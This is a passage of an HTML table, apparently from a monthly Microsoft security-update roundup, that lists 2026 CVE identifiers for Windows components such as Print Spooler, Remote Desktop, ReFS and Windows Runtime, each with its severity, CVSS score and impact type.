  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49166"><span>CVE-2026-49166</span></a></td>
  <td width="256" class="xl74">Windows Print
  Configuration Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55004"><span>CVE-2026-55004</span></a></td>
  <td width="256" class="xl74">Windows Print
  Configuration Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50499"><span>CVE-2026-50499</span></a></td>
  <td width="256" class="xl74">Windows Print Spooler
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50383"><span>CVE-2026-50383</span></a></td>
  <td width="256" class="xl74">Windows Print Spooler
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57085"><span>CVE-2026-57085</span></a></td>
  <td width="256" class="xl74">Windows Print Spooler
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50469"><span>CVE-2026-50469</span></a></td>
  <td width="256" class="xl74">Windows Projected File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50434"><span>CVE-2026-50434</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50339"><span>CVE-2026-50339</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50430"><span>CVE-2026-50430</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50334"><span>CVE-2026-50334</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44800"><span>CVE-2026-44800</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50363"><span>CVE-2026-50363</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50431"><span>CVE-2026-50431</span></a></td>
  <td width="256" class="xl74">Windows Quality of
  Service (QoS) Packet Scheduler Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50372"><span>CVE-2026-50372</span></a></td>
  <td width="256" class="xl74">Windows Redirected
  Drive Buffering System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50666"><span>CVE-2026-50666</span></a></td>
  <td width="256" class="xl74">Windows Remote Access
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56647"><span>CVE-2026-56647</span></a></td>
  <td width="256" class="xl74">Windows Remote Access
  Service Infrastructure Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50330"><span>CVE-2026-50330</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50376"><span>CVE-2026-50376</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50504"><span>CVE-2026-50504</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58533"><span>CVE-2026-58533</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58535"><span>CVE-2026-58535</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58546"><span>CVE-2026-58546</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58539"><span>CVE-2026-58539</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55003"><span>CVE-2026-55003</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57979"><span>CVE-2026-57979</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50445"><span>CVE-2026-50445</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50497"><span>CVE-2026-50497</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54126"><span>CVE-2026-54126</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57982"><span>CVE-2026-57982</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50369"><span>CVE-2026-50369</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58626"><span>CVE-2026-58626</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Services Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55014"><span>CVE-2026-55014</span></a></td>
  <td width="256" class="xl74">Windows Remote Help
  Defense Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50318"><span>CVE-2026-50318</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50407"><span>CVE-2026-50407</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50357"><span>CVE-2026-50357</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50441"><span>CVE-2026-50441</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50668"><span>CVE-2026-50668</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54109"><span>CVE-2026-54109</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49792"><span>CVE-2026-49792</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49793"><span>CVE-2026-49793</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50362"><span>CVE-2026-50362</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50492"><span>CVE-2026-50492</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50501"><span>CVE-2026-50501</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58530"><span>CVE-2026-58530</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49791"><span>CVE-2026-49791</span></a></td>
  <td width="256" class="xl74">Windows Routing and
  Remote Access Service (RRAS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50451"><span>CVE-2026-50451</span></a></td>
  <td width="256" class="xl74">Windows Routing and
  Remote Access Service (RRAS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57096"><span>CVE-2026-57096</span></a></td>
  <td width="256" class="xl74">Windows Routing and
  Remote Access Service (RRAS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50323"><span>CVE-2026-50323</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50452"><span>CVE-2026-50452</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50348"><span>CVE-2026-50348</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50345"><span>CVE-2026-50345</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50322"><span>CVE-2026-50322</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50340"><span>CVE-2026-50340</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50410"><span>CVE-2026-50410</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50449"><span>CVE-2026-50449</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50460"><span>CVE-2026-50460</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50403"><span>CVE-2026-50403</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50385"><span>CVE-2026-50385</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50413"><span>CVE-2026-50413</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50457"><span>CVE-2026-50457</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50486"><span>CVE-2026-50486</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50503"><span>CVE-2026-50503</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54125"><span>CVE-2026-54125</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58527"><span>CVE-2026-58527</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50373"><span>CVE-2026-50373</span></a></td>
  <td width="256" class="xl74">Windows Search Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50679"><span>CVE-2026-50679</span></a></td>
  <td width="256" class="xl74">Windows Search Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44806"><span>CVE-2026-44806</span></a></td>
  <td width="256" class="xl74">Windows Secure Channel
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50681"><span>CVE-2026-50681</span></a></td>
  <td width="256" class="xl74">Windows Secure Channel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56186"><span>CVE-2026-56186</span></a></td>
  <td width="256" class="xl74">Windows Secure Channel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50367"><span>CVE-2026-50367</span></a></td>
  <td width="256" class="xl74">Windows Sensor Data
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58619"><span>CVE-2026-58619</span></a></td>
  <td width="256" class="xl74">Windows Sensor Data
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50311"><span>CVE-2026-50311</span></a></td>
  <td width="256" class="xl74">Windows Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50328"><span>CVE-2026-50328</span></a></td>
  <td width="256" class="xl74">Windows Server Update
  Service (WSUS) Tampering Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
